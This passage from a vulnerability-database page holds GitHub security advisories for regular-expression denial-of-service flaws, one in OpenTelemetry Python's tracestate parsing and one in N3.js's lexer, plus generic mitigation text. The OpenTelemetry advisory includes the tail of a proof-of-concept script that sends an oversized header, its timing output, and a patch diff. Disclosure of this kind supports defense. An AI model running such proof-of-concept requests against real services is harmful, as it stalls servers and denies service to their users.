% get(\"/ping\"))\nattacker.start()\ntime.sleep(0.5) # let the attack request reach the server first\nprint(\"/ping during the attack: %.3f s %s\" % get(\"/ping\"))\nattacker.join()\nprint(\"attack request itself: %.3f s %s\" % result[\"a\"])\n```\n5. In a second terminal run `python attack.py 100000`.\n6. **What to observe:** the idle `/ping` answers in milliseconds, but a `/ping` sent half a second *after* the attack request has to wait for the attack request to finish, even though it is a different, innocent request. Our run:\n```\nidle /ping: 0.000 s HTTP/1.1 200 OK\n/ping during the attack: 5.909 s HTTP/1.1 200 OK \u003c-- unrelated request delayed ~6 s (event loop blocked)\nattack request itself: 6.408 s HTTP/1.1 200 OK\n```\n7. Start the server with `--http h11` instead and run the same command: the attack request is rejected immediately (`400 Bad Request`, h11 header cap) and `/ping` is not delayed. Our measurements for `--http httptools`: 30,000 spaces \u2192 0.59 s; 100,000 spaces \u2192 6.57 s with the concurrent `/ping` delayed 6.07 s; 100,000 tabs \u2192 12.39 s with the concurrent `/ping` delayed 11.89 s.\n\n## Severity\n**Likelihood: Low.** Any unauthenticated client can trigger it with one request on the default propagators, but only on servers that accept headers larger than roughly 16\u201330 KB.\n\n**Impact: Medium.** One request of about 100 KB costs 6\u201312 s of server CPU and, under an asyncio server, stalls every other connection for that time; repeating it keeps the service unavailable.\n\n**Severity: Medium.**\n\n## Suggested remediation\nReplace the regex split with a plain `split` and strip; this removes the quadratic behaviour and is equivalent on valid input:\n```diff\n--- a/opentelemetry-api/src/opentelemetry/trace/span.py\n+++ b/opentelemetry-api/src/opentelemetry/trace/span.py\n@@ def from_header(cls, header_list: list[str]) -\u003e TraceState:\n for header in header_list:\n- members: list[str] = re.split(_delimiter_pattern, header)\n+ members: list[str] = [m.strip(\" \\t\") for m in header.split(\",\")]\n```\n`_delimiter_pattern` (line 46) is then unused and can be removed. We also suggest rejecting a header longer than the W3C limit (512 characters for the list) before parsing, the way the baggage propagator does with `_MAX_HEADER_LENGTH`. On valid input the two forms return identical members (empty members preserved); the only behaviour change is that a header with leading whitespace is now accepted instead of producing an empty `TraceState`, which is more spec-compliant. Cost at N = 100,000 drops from ~9 s to ~5e-5 s.\n\n## Credit\n\nDiscovered and reported by SecDim Security Research\nsecdim.com | @secdim | security@secdim.com\n\n---\n\n**FROM MAINTAINERS**\n\n## Summary\n\n`TraceState.from_header()` in `opentelemetry-api` used a regular-expression-based operation whose processing time could grow disproportionately when parsing specially crafted inbound `tracestate` headers.\n\nBecause W3C Trace Context is enabled by default in OpenTelemetry Python, services accepting untrusted propagation headers could spend excessive CPU time processing a single request.\n\n## Impact\n\nServices accepting untrusted inbound propagation headers may experience increased per-request CPU usage when processing malformed `tracestate` values. In synchronous servers, this may keep a worker occupied. In asynchronous servers, CPU-intensive parsing may delay other requests handled by the same event loop.\n\nThe practical impact depends on the HTTP server, HTTP parser, and any upstream request-header limits. Common servers and proxies may reject oversized headers before they reach the application, while custom carriers or deployments with increased header limits may accept substantially larger values.\n\nUnlike optional propagation formats, W3C Trace Context is part of the default OpenTelemetry Python propagation configuration.\n\nThe impact is limited to availability. This issue does not expose or modify telemetry data and does not allow code execution.\n\n## Patches\n\nVersions of `opentelemetry-api` up to and including `1.45.0` are affected.\n\nUpgrade `opentelemetry-api` to version `1.45.1` or later.\n\nVersion `1.45.1` replaces the affected parsing operation with linear-time processing and discards combined `tracestate` headers longer than 8,192 characters.\n\n## Workarounds\n\nEnsure HTTP header size limits are configured at the server or gateway level. Most Python HTTP servers enforce an 8 KiB header limit by default, which mitigates external attack vectors independently of this fix.",
"id": "GHSA-xcq7-p3pf-p88h",
"modified": "2026-10-22T16:22:07Z",
"published": "2026-10-22T16:22:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-python/security/advisories/GHSA-xcq7-p3pf-p88h"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-python/pull/5749"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-python/commit/d5224bf4ffdf2aee1b592ad238dcc32ca957f26b"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-python"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-python/blob/main/CHANGELOG.md#version-1451066b1-2026-10-06"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-python/releases/tag/v1.45.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api"
}
GHSA-XF53-X4JG-3WWC
Vulnerability from github – Published: 2026-10-12 21:32 – Updated: 2026-10-12 21:32N3.js before 2.11.1 contains a regular expression denial of service vulnerability in the N3Lexer number pattern that backtracks quadratically on long digit runs. Attackers can supply untrusted Turtle or N3 input containing long runs of digits that do not end a number, blocking the Node.js event loop and causing denial of service.
{
"affected": [],
"aliases": [
"CVE-2026-109563"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-12T21:17:12Z",
"severity": "HIGH"
},
"details": "N3.js before 2.11.1 contains a regular expression denial of service vulnerability in the N3Lexer number pattern that backtracks quadratically on long digit runs. Attackers can supply untrusted Turtle or N3 input containing long runs of digits that do not end a number, blocking the Node.js event loop and causing denial of service.",
"id": "GHSA-xf53-x4jg-3wwc",
"modified": "2026-10-12T21:32:00Z",
"published": "2026-10-12T21:32:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-109563"
},
{
"type": "WEB",
"url": "https://github.com/rdfjs/N3.js/pull/760"
},
{
"type": "WEB",
"url": "https://github.com/rdfjs/N3.js/commit/b1c497fddb02c4772d61916bd2634115f45f424d"
},
{
"type": "WEB",
"url": "https://github.com/rdfjs/N3.js"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/n3-js-before-2.11.1-redos-via-n3lexer-numeric-literal-regex"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
Mitigation
Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Mitigation
Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
Mitigation
Limit the length of the input that the regular expression will process.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.